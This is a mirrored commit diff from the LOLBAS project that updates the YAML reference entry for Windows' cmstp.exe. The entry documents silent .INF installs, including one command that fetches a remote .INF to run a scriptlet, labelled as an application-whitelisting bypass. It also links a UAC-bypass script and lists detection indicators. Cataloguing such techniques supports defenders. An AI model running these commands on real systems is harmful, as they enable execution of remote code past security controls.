mirror of
https://github.com/LOLBAS-Project/LOLBAS
synced 2025-07-27 04:32:24 +02:00
Update readme, began updating OSBins with new template
This commit is contained in:
@@ -1,26 +1,43 @@
|
||||
---
|
||||
Name: Cmstp.exe
|
||||
Description: Execute, UACBypass
|
||||
Author: ''
|
||||
Description: Installs or removes a Connection Manager service profile.
|
||||
Author: 'Oddvar Moe'
|
||||
Created: '2018-05-25'
|
||||
Categories: []
|
||||
Commands:
|
||||
- Command: cmstp.exe /ni /s c:\cmstp\CorpVPN.inf
|
||||
Description: Silently installs a specially formatted local .INF without creating a desktop icon. The .INF file contains a UnRegisterOCXSection section which executes a .SCT file using scrobj.dll.
|
||||
Usecase: Execute code hidden within an inf file. Download and run scriptlets from internet.
|
||||
Category: Execute
|
||||
Privileges: User
|
||||
MitreID: T1191
|
||||
MitreLink: https://attack.mitre.org/wiki/Technique/T1191
|
||||
OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10
|
||||
- Command: cmstp.exe /ni /s https://raw.githubusercontent.com/api0cradle/LOLBAS/master/OSBinaries/Payload/Cmstp.inf
|
||||
Description: Silently installs a specially formatted remote .INF without creating a desktop icon. The .INF file contains a UnRegisterOCXSection section which executes a .SCT file using scrobj.dll.
|
||||
Usecase: Execute code hidden within an inf file. Execute code directly from Internet.
|
||||
Category: AwL bypass
|
||||
Privileges: User
|
||||
MitreID: T1191
|
||||
MitreLink: https://attack.mitre.org/wiki/Technique/T1191
|
||||
OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10
|
||||
Full Path:
|
||||
- C:\Windows\system32\cmstp.exe
|
||||
- C:\Windows\sysWOW64\cmstp.exe
|
||||
Code Sample: []
|
||||
Detection: []
|
||||
- path: C:\Windows\System32\cmstp.exe
|
||||
- path: C:\Windows\SysWOW64\cmstp.exe
|
||||
Code Sample:
|
||||
- Code:
|
||||
Detection:
|
||||
- IOC: Execution of cmstp.exe should not be normal unless VPN is in use
|
||||
- IOC: Cmstp.exe communication towards internet and getting files
|
||||
Resources:
|
||||
- https://twitter.com/NickTyrer/status/958450014111633408
|
||||
- https://gist.github.com/NickTyrer/bbd10d20a5bb78f64a9d13f399ea0f80
|
||||
- https://gist.github.com/api0cradle/cf36fd40fa991c3a6f7755d1810cc61e
|
||||
- https://oddvar.moe/2017/08/15/research-on-cmstp-exe/
|
||||
- https://gist.githubusercontent.com/tylerapplebaum/ae8cb38ed8314518d95b2e32a6f0d3f1/raw/3127ba7453a6f6d294cd422386cae1a5a2791d71/UACBypassCMSTP.ps1
|
||||
(UAC Bypass)
|
||||
- https://github.com/hfiref0x/UACME
|
||||
Notes: Thanks to Oddvar Moe - @oddvarmoe, Nick Tyrer - @NickTyrer
|
||||
|
||||
- Link: https://twitter.com/NickTyrer/status/958450014111633408
|
||||
- Link: https://gist.github.com/NickTyrer/bbd10d20a5bb78f64a9d13f399ea0f80
|
||||
- Link: https://gist.github.com/api0cradle/cf36fd40fa991c3a6f7755d1810cc61e
|
||||
- Link: https://oddvar.moe/2017/08/15/research-on-cmstp-exe/
|
||||
- Link: https://gist.githubusercontent.com/tylerapplebaum/ae8cb38ed8314518d95b2e32a6f0d3f1/raw/3127ba7453a6f6d294cd422386cae1a5a2791d71/UACBypassCMSTP.ps1
|
||||
- Link: https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/cmstp
|
||||
Acknowledgement:
|
||||
- Person: Oddvar Moe
|
||||
Handle: '@oddvarmoe'
|
||||
- Person: Nick Tyrer
|
||||
Handle: '@NickTyrer'
|
||||
---
|
Reference in New Issue
Block a user